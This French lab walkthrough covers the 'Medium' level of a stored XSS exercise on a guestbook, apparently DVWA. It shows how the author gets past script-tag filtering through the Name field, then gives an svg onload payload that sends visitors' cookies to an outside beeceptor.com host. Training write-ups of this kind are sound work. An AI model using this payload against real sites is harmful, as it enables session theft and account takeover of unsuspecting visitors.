# Niveau "Medium"

Pas de changement sur le guestbook :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Ltyse1mFJ-V6arftke-%2F-LtytllIFe6bAt3BeUGW%2F5076ad0022975412aaf350b2d4bead8d.png?alt=media\&token=3db1349e-b179-44c6-bf4a-82e639a319a4)

Il n'est pas possible ici d'exécuter une popup `alert()` simplement. En effet, les balises `<script>` `</script>` semblent être filtrées et le champ "Message" semble également échapper le caractère `"""` (et donc sans doute également le caractère `"'"`) :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-Ltytn4acNt0SMNgTRnY%2F-LtyvJ-HxrDY8FKPYzww%2Fc7e438ccbf248c8c155dcf0f1fdfc9b5.png?alt=media\&token=8f75cb7f-a247-49d0-9825-12e6598ba834)

Je vais me concentrer sur le champ "Name" étant donné qu'il semble être plus permissif. Je tente tout d'abord de passer par une autre balise afin d'exécuter notre javascript :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtyvZHZpbbK34_N4UkU%2F-LtywLrmdUJJbJo-B0yf%2F409fda59350b4afebe9c56e088498d79.png?alt=media\&token=311336fa-8571-4588-b365-12eae0813eb5)

Cela fonctionne. Il me reste plus qu'à améliorer ma payload afin de récupérer les cookies des visiteurs :

```markup
<svg onload="fetch('https://dvwaxssrefl.free.beeceptor.com?cookie=' + document.cookie);">
```

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtyvZHZpbbK34_N4UkU%2F-LtywuJeEeP3h2Q6hhyV%2Fcac83dca6e4bade94123fd6517923bbc.png?alt=media\&token=c93d4511-3f86-4c4b-9ed4-0220f21a88e9)

L'attaque fonctionne, le cookie du visiteur est envoyé vers mon serveur malicieux :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtyvZHZpbbK34_N4UkU%2F-Ltyx5KAbbVWaVodLwS5%2F979b4817a9f54ad7338b9a12e0bcc474.png?alt=media\&token=3fe9e344-ced9-447f-929f-40d6df1a4222)
